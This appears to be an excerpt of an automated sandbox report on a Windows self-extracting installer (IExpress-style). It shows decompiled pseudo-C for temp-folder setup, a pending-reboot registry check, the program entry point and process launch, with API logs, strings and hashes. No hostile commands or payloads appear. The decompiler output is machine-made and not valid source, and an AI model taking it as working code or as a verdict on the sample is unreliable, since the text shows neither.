				intOrPtr _t61;

				_t10 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t10 ^ _t49;
				_push(__ecx);
				if(__edx == 0) {
					_t48 = 0xf891e4;
					_t42 = 0x104;
					E00F81680(0xf891e4, 0x104);
					L14:
					_t13 = E00F858C8(_t48); // executed
					if(_t13 != 0) {
						L17:
						_t42 = _a4;
						if(_a4 == 0) {
							L23:
							 *0xf89124 = 0;
							_t14 = 1;
							L24:
							return E00F86CE0(_t14, 0, _v8 ^ _t49, _t42, 1, _t48);
						}
						_t16 = E00F8597D(_t48, _t42, 1, 0); // executed
						if(_t16 != 0) {
							goto L23;
						}
						_t61 =  *0xf88a20; // 0x0
						if(_t61 != 0) {
							 *0xf88a20 = 0;
							RemoveDirectoryA(_t48);
						}
						L22:
						_t14 = 0;
						goto L24;
					}
					if(CreateDirectoryA(_t48, 0) == 0) {
						 *0xf89124 = E00F86285();
						goto L22;
					}
					 *0xf88a20 = 1;
					goto L17;
				}
				_t42 =  &_v268;
				_t20 = E00F853A1(__ecx,  &_v268); // executed
				if(_t20 == 0) {
					goto L22;
				}
				_push(__ecx);
				_t48 = 0xf891e4;
				E00F81781(0xf891e4, 0x104, __ecx,  &_v268);
				if(( *0xf89a34 & 0x00000020) == 0) {
					L12:
					_t42 = 0x104;
					E00F8658A(_t48, 0x104, 0xf81140);
					goto L14;
				}
				GetSystemInfo( &_v304);
				_t26 = _v304.dwOemId & 0x0000ffff;
				if(_t26 == 0) {
					_push("i386");
					L11:
					E00F8658A(_t48, 0x104);
					goto L12;
				}
				_t28 = _t26 - 1;
				if(_t28 == 0) {
					_push("mips");
					goto L11;
				}
				_t29 = _t28 - 1;
				if(_t29 == 0) {
					_push("alpha");
					goto L11;
				}
				if(_t29 != 1) {
					goto L12;
				}
				_push("ppc");
				goto L11;
			}

0x00f85472
0x00f85479
0x00f85481
0x00f85484
0x00f8551c
0x00f85521
0x00f85528
0x00f8552d
0x00f8552f
0x00f85539
0x00f8554d
0x00f8554d
0x00f85552
0x00f85585
0x00f85585
0x00f8558b
0x00f8558d
0x00f8559d
0x00f8559d
0x00f85557
0x00f8555e
0x00000000
0x00000000
0x00f85560
0x00f85566
0x00f85569
0x00f8556f
0x00f8556f
0x00f85581
0x00f85581
0x00000000
0x00f85581
0x00f85545
0x00f8557c
0x00000000
0x00f8557c
0x00f85547
0x00000000
0x00f85547
0x00f8548a
0x00f85490
0x00f85497
0x00000000
0x00000000
0x00f8549d
0x00f854ab
0x00f854b4
0x00f854c0
0x00f8550c
0x00f85511
0x00f85515
0x00000000
0x00f85515
0x00f854c9
0x00f854d6
0x00f854d8
0x00f854fe
0x00f85503
0x00f85507
0x00000000
0x00f85507
0x00f854da
0x00f854dd
0x00f854f7
0x00000000
0x00f854f7
0x00f854df
0x00f854e2
0x00f854f0
0x00000000
0x00f854f0
0x00f854e7
0x00000000
0x00000000
0x00f854e9
0x00000000

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F854C9
CreateDirectoryA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F8553D
RemoveDirectoryA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F8556F

Part of subcall function 00F853A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F853FB
Part of subcall function 00F853A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F85402
Part of subcall function 00F853A1: GetTempFileNameA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,IXP,00000000,?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F8541F
Part of subcall function 00F853A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F8542B
Part of subcall function 00F853A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F85434

Strings

ppc, xrefs: 00F854E9
C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F8547D, 00F85481, 00F854AB, 00F8551C, 00F8553C, 00F85568
alpha, xrefs: 00F854F0
i386, xrefs: 00F854FE
mips, xrefs: 00F854F7

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-4535649
Opcode ID: b1a7f2beff07830a5407aa7bf735c093541617e15bf54abf46a8b67381a72a68
Instruction ID: bc241b1177b749ffbc824f119cf3311f203d3b554e0798736eaf3e8210702c85
Opcode Fuzzy Hash: b1a7f2beff07830a5407aa7bf735c093541617e15bf54abf46a8b67381a72a68
Instruction Fuzzy Hash: F4312971F04A045BCF10BF299C496FF779FAB81F54B0C016AA402CA540DB74CE06B795

Uniqueness

Uniqueness Score: -1.00%

Function 00F8256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00F8256D(signed int __ecx) {
				int _v8;
				void* _v12;
				signed int _t13;
				signed int _t19;
				long _t24;
				void* _t26;
				int _t31;
				void* _t34;

				_push(__ecx);
				_push(__ecx);
				_t13 = __ecx & 0x0000ffff;
				_t31 = 0;
				if(_t13 == 0) {
					_t31 = E00F824E0(_t26);
				} else {
					_t34 = _t13 - 1;
					if(_t34 == 0) {
						_v8 = 0;
						if(RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\FileRenameOperations", 0, 0x20019,  &_v12) != 0) {
							goto L7;
						} else {
							_t19 = RegQueryInfoKeyA(_v12, 0, 0, 0, 0, 0, 0,  &_v8, 0, 0, 0, 0);
							goto L6;
						}
						L12:
					} else {
						if(_t34 > 0 && __ecx <= 3) {
							_v8 = 0;
							_t24 = RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager", 0, 0x20019,  &_v12); // executed
							if(_t24 == 0) {
								_t19 = RegQueryValueExA(_v12, "PendingFileRenameOperations", 0, 0, 0,  &_v8); // executed
								L6:
								asm("sbb eax, eax");
								_v8 = _v8 &  !( ~_t19);
								RegCloseKey(_v12); // executed
							}
							L7:
							_t31 = _v8;
						}
					}
				}
				return _t31;
				goto L12;
			}

0x00f82572
0x00f82573
0x00f82575
0x00f82578
0x00f8257d
0x00f82627
0x00f82583
0x00f82586
0x00f82589
0x00f825eb
0x00f82607
0x00000000
0x00f82609
0x00f8261a
0x00000000
0x00f8261a
0x00000000
0x00f8258b
0x00f8258b
0x00f8259e
0x00f825b2
0x00f825ba
0x00f825cb
0x00f825d1
0x00f825d6
0x00f825da
0x00f825dd
0x00f825dd
0x00f825e3
0x00f825e3
0x00f825e3
0x00f8258b
0x00f82589
0x00f8262f
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000036,00F84096,00F84096,?,00F81ED3,00000001,00000000,?,?,00F84137,?), ref: 00F825B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,00F84096,?,00F81ED3,00000001,00000000,?,?,00F84137,?,00F84096), ref: 00F825CB
RegCloseKey.KERNELBASE(?,?,00F81ED3,00000001,00000000,?,?,00F84137,?,00F84096), ref: 00F825DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000036,00F84096,00F84096,?,00F81ED3,00000001,00000000,?,?,00F84137,?), ref: 00F825FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00F84096,00000000,00000000,00000000,00000000,?,00F81ED3,00000001,00000000), ref: 00F8261A

Strings

System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 00F825F5
PendingFileRenameOperations, xrefs: 00F825C3
System\CurrentControlSet\Control\Session Manager, xrefs: 00F825A8

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: ef950f5a6a8935b6af500e9c7c36b9c9cf68b8555cc58c3bb4ed225a6ec60677
Instruction ID: 3f7f22f73cee6fd3cb285c981160f7b67211c09418aa3547983cb833f8032f69
Opcode Fuzzy Hash: ef950f5a6a8935b6af500e9c7c36b9c9cf68b8555cc58c3bb4ed225a6ec60677
Instruction Fuzzy Hash: E3114235D42228FBAF20AB919C09DFB7FBCDF057A1F544056B808A2011DB30AE45F7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00F86A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			_entry_(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t25;
				signed int _t26;
				signed int _t29;
				int _t30;
				signed int _t37;
				signed char _t41;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t60;
				void* _t62;
				void* _t67;
				void* _t68;

				E00F87155();
				_push(0x58);
				_push(0xf872b8);
				E00F87208(__ebx, __edi, __esi);
				 *(_t62 - 0x20) = 0;
				GetStartupInfoW(_t62 - 0x68);
				 *((intOrPtr*)(_t62 - 4)) = 0;
				_t56 =  *((intOrPtr*)( *[fs:0x18] + 4));
				_t53 = 0;
				while(1) {
					asm("lock cmpxchg [edx], ecx");
					if(0 == 0) {
						break;
					}
					if(0 != _t56) {
						Sleep(0x3e8);
						continue;
					} else {
						_t58 = 1;
						_t53 = 1;
					}
					L7:
					_t67 =  *0xf888b0 - _t58; // 0x2
					if(_t67 != 0) {
						__eflags =  *0xf888b0; // 0x2
						if(__eflags != 0) {
							 *0xf881e4 = _t58;
							goto L13;
						} else {
							 *0xf888b0 = _t58;
							_t37 = E00F86C3F(0xf810b8, 0xf810c4); // executed
							__eflags = _t37;
							if(__eflags == 0) {
								goto L13;
							} else {
								 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
								_t30 = 0xff;
							}
						}
					} else {
						_push(0x1f);
						L00F86FF4();
						L13:
						_t68 =  *0xf888b0 - _t58; // 0x2
						if(_t68 == 0) {
							_push(0xf810b4);
							_push(0xf810ac);
							L00F87202();
							 *0xf888b0 = 2;
						}
						if(_t53 == 0) {
							 *0xf888ac = 0;
						}
						_t71 =  *0xf888b4;
						if( *0xf888b4 != 0 && E00F87060(_t71, 0xf888b4) != 0) {
							_t60 =  *0xf888b4; // 0x0
							 *0xf8a288(0, 2, 0);
							 *_t60();
						}
						_t25 = __imp___acmdln; // 0x76725b9c
						_t59 =  *_t25;
						 *(_t62 - 0x1c) = _t59;
						_t54 =  *(_t62 - 0x20);
						while(1) {
							_t41 =  *_t59;
							if(_t41 > 0x20) {
								goto L32;
							}
							if(_t41 != 0) {
								if(_t54 != 0) {
									goto L32;
								} else {
									while(_t41 != 0 && _t41 <= 0x20) {
										_t59 = _t59 + 1;
										 *(_t62 - 0x1c) = _t59;
										_t41 =  *_t59;
									}
								}
							}
							__eflags =  *(_t62 - 0x3c) & 0x00000001;
							if(( *(_t62 - 0x3c) & 0x00000001) == 0) {
								_t29 = 0xa;
							} else {
								_t29 =  *(_t62 - 0x38) & 0x0000ffff;
							}
							_push(_t29);
							_t30 = E00F82BFB(0xf80000, 0, _t59); // executed
							 *0xf881e0 = _t30;
							__eflags =  *0xf881f8;
							if( *0xf881f8 == 0) {
								exit(_t30); // executed
								goto L32;
							}
							__eflags =  *0xf881e4;
							if( *0xf881e4 == 0) {
								__imp___cexit();
								_t30 =  *0xf881e0; // 0x0
							}
							 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
							goto L40;
							L32:
							__eflags = _t41 - 0x22;
							if(_t41 == 0x22) {
								__eflags = _t54;
								_t15 = _t54 == 0;
								__eflags = _t15;
								_t54 = 0 | _t15;
								 *(_t62 - 0x20) = _t54;
							}
							_t26 = _t41 & 0x000000ff;
							__imp___ismbblead(_t26);
							__eflags = _t26;
							if(_t26 != 0) {
								_t59 = _t59 + 1;
								__eflags = _t59;
								 *(_t62 - 0x1c) = _t59;
							}
							_t59 = _t59 + 1;
							 *(_t62 - 0x1c) = _t59;
						}
					}
					L40:
					return E00F8724D(_t30);
				}
				_t58 = 1;
				__eflags = 1;
				goto L7;
			}

0x00f86a60
0x00f86a6a
0x00f86a6c
0x00f86a71
0x00f86a78
0x00f86a7f
0x00f86a85
0x00f86a8e
0x00f86a91
0x00f86a93
0x00f86a9c
0x00f86aa2
0x00000000
0x00000000
0x00f86aa6
0x00f86ab4
0x00000000
0x00f86aa8
0x00f86aaa
0x00f86aab
0x00f86aab
0x00f86abf
0x00f86abf
0x00f86ac5
0x00f86ad1
0x00f86ad7
0x00f86b05
0x00000000
0x00f86ad9
0x00f86ad9
0x00f86ae9
0x00f86af0
0x00f86af2
0x00000000
0x00f86af4
0x00f86af4
0x00f86afb
0x00f86afb
0x00f86af2
0x00f86ac7
0x00f86ac7
0x00f86ac9
0x00f86b0b
0x00f86b0b
0x00f86b11
0x00f86b13
0x00f86b18
0x00f86b1d
0x00f86b24
0x00f86b24
0x00f86b30
0x00f86b39
0x00f86b39
0x00f86b3b
0x00f86b42
0x00f86b57
0x00f86b5f
0x00f86b65
0x00f86b65
0x00f86b67
0x00f86b6c
0x00f86b6e
0x00f86b71
0x00f86b74
0x00f86b74
0x00f86b79
0x00000000
0x00000000
0x00f86b7d
0x00f86b81
0x00000000
0x00000000
0x00f86b83
0x00f86b8c
0x00f86b8d
0x00f86b90
0x00f86b90
0x00f86b83
0x00f86b81
0x00f86b94
0x00f86b98
0x00f86ba2
0x00f86b9a
0x00f86b9a
0x00f86b9a
0x00f86ba3
0x00f86bab
0x00f86bb0
0x00f86bb5
0x00f86bbc
0x00f86bbf
0x00000000
0x00f86bbf
0x00f86c1e
0x00f86c25
0x00f86c27
0x00f86c2d
0x00f86c2d
0x00f86c32
0x00000000
0x00f86bc5
0x00f86bc5
0x00f86bc8
0x00f86bcc
0x00f86bce
0x00f86bce
0x00f86bd1
0x00f86bd3
0x00f86bd3
0x00f86bd6
0x00f86bda
0x00f86be1
0x00f86be3
0x00f86be5
0x00f86be5
0x00f86be6
0x00f86be6
0x00f86be9
0x00f86bea
0x00f86bea
0x00f86b74
0x00f86c39
0x00f86c3e
0x00f86c3e
0x00f86abe
0x00f86abe
0x00000000

APIs

Part of subcall function 00F87155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00F87182
Part of subcall function 00F87155: GetCurrentProcessId.KERNEL32 ref: 00F87191
Part of subcall function 00F87155: GetCurrentThreadId.KERNEL32 ref: 00F8719A
Part of subcall function 00F87155: GetTickCount.KERNEL32 ref: 00F871A3
Part of subcall function 00F87155: QueryPerformanceCounter.KERNEL32(?), ref: 00F871B8

GetStartupInfoW.KERNEL32(?,00F872B8,00000058), ref: 00F86A7F
Sleep.KERNEL32(000003E8), ref: 00F86AB4
_amsg_exit.MSVCRT ref: 00F86AC9
_initterm.MSVCRT ref: 00F86B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 00F86B49
exit.KERNELBASE ref: 00F86BBF
_ismbblead.MSVCRT ref: 00F86BDA

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: c1a994f87e7c1a1427cc4e48b9cf580d1dec9f56957ef8da1574bbf1186292f1
Instruction ID: 46546831d4c8cef33a28ba882718b2b2008e84eaeb7e2adfc231b729367f3129
Opcode Fuzzy Hash: c1a994f87e7c1a1427cc4e48b9cf580d1dec9f56957ef8da1574bbf1186292f1
Instruction Fuzzy Hash: 6141C0319447288BEB21BB649C497FA77A4FB84775F64012AE841E7290CF788842BB81

Uniqueness

Uniqueness Score: -1.00%

Function 00F858C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00F858C8(intOrPtr* __ecx) {
				void* _v8;
				intOrPtr _t6;
				void* _t10;
				void* _t12;
				void* _t14;
				signed char _t16;
				void* _t20;
				void* _t23;
				intOrPtr* _t27;
				CHAR* _t33;

				_push(__ecx);
				_t33 = __ecx;
				_t27 = __ecx;
				_t23 = __ecx + 1;
				do {
					_t6 =  *_t27;
					_t27 = _t27 + 1;
				} while (_t6 != 0);
				_t36 = _t27 - _t23 + 0x14;
				_t20 = LocalAlloc(0x40, _t27 - _t23 + 0x14);
				if(_t20 != 0) {
					E00F81680(_t20, _t36, _t33);
					E00F8658A(_t20, _t36, "TMP4351$.TMP");
					_t10 = CreateFileA(_t20, 0x40000000, 0, 0, 1, 0x4000080, 0); // executed
					_v8 = _t10;
					LocalFree(_t20);
					_t12 = _v8;
					if(_t12 == 0xffffffff) {
						goto L4;
					} else {
						CloseHandle(_t12);
						_t16 = GetFileAttributesA(_t33); // executed
						if(_t16 == 0xffffffff || (_t16 & 0x00000010) == 0) {
							goto L4;
						} else {
							 *0xf89124 = 0;
							_t14 = 1;
						}
					}
				} else {
					E00F844B9(0, 0x4b5, 0, 0, 0x10, 0);
					L4:
					 *0xf89124 = E00F86285();
					_t14 = 0;
				}
				return _t14;
			}

0x00f858cd
0x00f858d1
0x00f858d3
0x00f858d5
0x00f858d8
0x00f858d8
0x00f858da
0x00f858db
0x00f858e1
0x00f858ed
0x00f858f1
0x00f8591e
0x00f8592c
0x00f85943
0x00f8594a
0x00f8594d
0x00f85953
0x00f85959
0x00000000
0x00f8595b
0x00f8595c
0x00f85963
0x00f8596c
0x00000000
0x00f85972
0x00f85974
0x00f8597a
0x00f8597a
0x00f8596c
0x00f858f3
0x00f85901
0x00f85906
0x00f8590b
0x00f85910
0x00f85910
0x00f85918

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,00F85534,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F858E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,00F85534,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F85943
LocalFree.KERNEL32(00000000,?,00F85534,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F8594D
CloseHandle.KERNEL32(00000000,?,00F85534,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F8595C
GetFileAttributesA.KERNELBASE(C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,00F85534,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F85963

Strings

TMP4351$.TMP, xrefs: 00F85923
C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F858CD, 00F858CF, 00F85919, 00F85962

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$TMP4351$.TMP
API String ID: 747627703-908790857
Opcode ID: 890e09afecfe78b68075f32006557d0b0a2e9def032f2f2e1a2faf55e33f3324
Instruction ID: 51b37ddd8d63077803ca8cf1a18652c6ccbfc02d8de643a8a774e3ff36a2d210
Opcode Fuzzy Hash: 890e09afecfe78b68075f32006557d0b0a2e9def032f2f2e1a2faf55e33f3324
Instruction Fuzzy Hash: 1E113831B0061467DB207FB95C4DBEB7E9DEF45770B100616F505D31D1DA74D806A7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00F83FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00F83FEF(CHAR* __ecx, struct _STARTUPINFOA* __edx) {
				signed int _v8;
				char _v524;
				long _v528;
				struct _PROCESS_INFORMATION _v544;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t20;
				void* _t22;
				int _t25;
				intOrPtr* _t39;
				signed int _t44;
				void* _t49;
				signed int _t50;
				intOrPtr _t53;

				_t45 = __edx;
				_t20 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t20 ^ _t50;
				_t39 = __ecx;
				_t49 = 1;
				_t22 = 0;
				if(__ecx == 0) {
					L13:
					return E00F86CE0(_t22, _t39, _v8 ^ _t50, _t45, 0, _t49);
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t25 = CreateProcessA(0, __ecx, 0, 0, 0, 0x20, 0, 0, __edx,  &_v544); // executed
				if(_t25 == 0) {
					 *0xf89124 = E00F86285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v524, 0x200, 0);
					_t45 = 0x4c4;
					E00F844B9(0, 0x4c4, _t39,  &_v524, 0x10, 0);
					L11:
					_t49 = 0;
					L12:
					_t22 = _t49;
					goto L13;
				}
				WaitForSingleObject(_v544.hProcess, 0xffffffff);
				_t34 = GetExitCodeProcess(_v544.hProcess,  &_v528); // executed
				_t44 = _v528;
				_t53 =  *0xf88a28; // 0x0
				if(_t53 == 0) {
					_t34 =  *0xf89a2c; // 0x0
					if((_t34 & 0x00000001) != 0 && (_t34 & 0x00000002) == 0) {
						_t34 = _t44 & 0xff000000;
						if((_t44 & 0xff000000) == 0xaa000000) {
							 *0xf89a2c = _t44;
						}
					}
				}
				E00F8411B(_t34, _t44);
				CloseHandle(_v544.hThread);
				CloseHandle(_v544);
				if(( *0xf89a34 & 0x00000400) == 0 || _v528 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x00f83fef
0x00f83ffa
0x00f84001
0x00f84008
0x00f8400a
0x00f8400b
0x00f84010
0x00f8410a
0x00f8411a
0x00f8411a
0x00f8401c
0x00f8401d
0x00f8401e
0x00f8401f
0x00f84033
0x00f8403b
0x00f840ca
0x00f840e9
0x00f840f8
0x00f84101
0x00f84106
0x00f84106
0x00f84108
0x00f84108
0x00000000
0x00f84108
0x00f84049
0x00f8405c
0x00f84062
0x00f84068
0x00f8406e
0x00f84070
0x00f84077
0x00f8407f
0x00f84089
0x00f8408b
0x00f8408b
0x00f84089
0x00f84077
0x00f84091
0x00f8409c
0x00f840a8
0x00f840b8
0x00000000
0x00f840c2
0x00000000
0x00f840c2

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 00F84033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00F84049
GetExitCodeProcess.KERNELBASE ref: 00F8405C
CloseHandle.KERNEL32(?), ref: 00F8409C
CloseHandle.KERNEL32(?), ref: 00F840A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00F840DC
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00F840E9

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: cdcebd515a4a9028288cdbcd648a4c7148802f9973102e15d75e420f1072a7e1
Instruction ID: 199093de1051b3df53d0adc137158c5def39e71106483e3b0d0d6270f1add08a
Opcode Fuzzy Hash: cdcebd515a4a9028288cdbcd648a4c7148802f9973102e15d75e420f1072a7e1
Instruction Fuzzy Hash: A831AE31A4061CABEB21AB65DC4DFFB777CEB94711F1001AAFA05E21A1CA345D85EF21

Uniqueness

Uniqueness Score: -1.00%

Function 00F851E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00F851E5(void* __eflags) {
				int _t5;
				void* _t6;
				void* _t28;

				_t1 = E00F8468F("UPROMPT", 0, 0) + 1; // 0x1
				_t28 = LocalAlloc(0x40, _t1);
				if(_t28 != 0) {
					if(E00F8468F("UPROMPT", _t28, _t29) != 0) {
						_t5 = lstrcmpA(_t28, "<None>"); // executed
						if(_t5 != 0) {
							_t6 = E00F844B9(0, 0x3e9, _t28, 0, 0x20, 4);
							LocalFree(_t28);
							if(_t6 != 6) {
								 *0xf89124 = 0x800704c7;
								L10:
								return 0;
							}
							 *0xf89124 = 0;
							L6:
							return 1;
						}
						LocalFree(_t28);
						goto L6;
					}
					E00F844B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree(_t28);
					 *0xf89124 = 0x80070714;
					goto L10;
				}
				E00F844B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0xf89124 = E00F86285();
				goto L10;
			}

0x00f851fb
0x00f85207
0x00f8520b
0x00f8523c
0x00f85268
0x00f85270
0x00f8528b
0x00f85293
0x00f8529c
0x00f852a6
0x00f852b0
0x00000000
0x00f852b0
0x00f8529e
0x00f85279
0x00000000
0x00f8527b
0x00f85273
0x00000000
0x00f85273
0x00f8524a
0x00f85250
0x00f85256
0x00000000
0x00f85256
0x00f85219
0x00f85223
0x00000000

APIs

Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846A0
Part of subcall function 00F8468F: SizeofResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846A9
